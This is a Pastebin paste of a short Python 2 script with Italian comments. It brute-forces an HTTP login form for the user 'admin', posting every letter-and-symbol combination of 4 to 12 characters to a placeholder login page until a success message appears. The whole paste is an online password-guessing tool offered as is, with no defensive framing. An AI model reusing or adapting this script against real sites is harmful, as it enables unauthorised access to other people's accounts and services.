Driverfury

BruteForce.py - HTTP

Dec 30th, 2014
3,879
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Importo la libreria che ci serve per la connessione http
  2. import urllib
  3.  
  4. # Username di cui si vuole scoprire la password
  5. username = "admin"
  6.  
  7. # Pagina di action a cui rimanda il form di login
  8. paginaLogin = "http://www.miosito.it/login.php"
  9.  
  10. # Messaggio di avvenuto login
  11. messaggioDiAvvenutoLogin = "Login effettuato!"
  12.  
  13. # Lista dei caratteri possibili in una password.
  14. listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
  15.  
  16. # Funzione che verifica se la password passata come parametro
  17. # e' quella corretta e di conseguenza e' stata indovinata.
  18. def testaPassword(password):
  19.     print "Testando la password:", password
  20.    
  21.     # Invio i parametri da testare alla pagina di action (paginaLogin)
  22.     parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
  23.     p= urllib.urlencode(parametriDaTestare)
  24.     paginaDiAction = urllib.urlopen(paginaLogin, p)
  25.  
  26.     # Memorizzo la risposta della pagina di action nella variabile risultato
  27.     risultato = paginaDiAction.read()
  28.  
  29.     # Controllo se la password e' corretta
  30.     if messaggioDiAvvenutoLogin in risultato:
  31.         print "Password trovata: ", password
  32.         exit()
  33.     else:
  34.         return
  35.    
  36. # Qui bisogna supporre una lunghezza massima della password,
  37. # ipotizziamo 12 caratteri.
  38. # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
  39. # da 4 caratteri in poi verra' testata la password (attraverso
  40. # la funzione testaPassword).
  41. for c1 in listaCaratteri:
  42.     for c2 in listaCaratteri:
  43.         for c3 in listaCaratteri:
  44.             for c4 in listaCaratteri:
  45.                 psw = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
  46.                                     # correnti ovvero c1, c2, c3, c4
  47.                 testaPassword(psw)
  48.                 for c5 in listaCaratteri:
  49.                     psw = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
  50.                                             # caratteri correntiovvero c1, c2, c3, c4
  51.                     testaPassword(psw)
  52.                     for c6 in listaCaratteri:
  53.                         psw = c1+c2+c3+c4+c5+c6
  54.                         testaPassword(psw)
  55.                         for c7 in listaCaratteri:
  56.                             psw = c1+c2+c3+c4+c5+c6+c7
  57.                             testaPassword(psw)
  58.                             for c8 in listaCaratteri:
  59.                                 psw = c1+c2+c3+c4+c5+c6+c7+c8
  60.                                 testaPassword(psw)
  61.                                 for c9 in listaCaratteri:
  62.                                     psw = c1+c2+c3+c4+c5+c6+c7+c8+c9
  63.                                     testaPassword(psw)
  64.                                     for c10 in listaCaratteri:
  65.                                         psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10
  66.                                         testaPassword(psw)
  67.                                         for c11 in listaCaratteri:
  68.                                             psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11
  69.                                             testaPassword(psw)
  70.                                             for c12 in listaCaratteri:
  71.                                                 psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12
  72.                                                 testaPassword(psw)
RAW Paste Data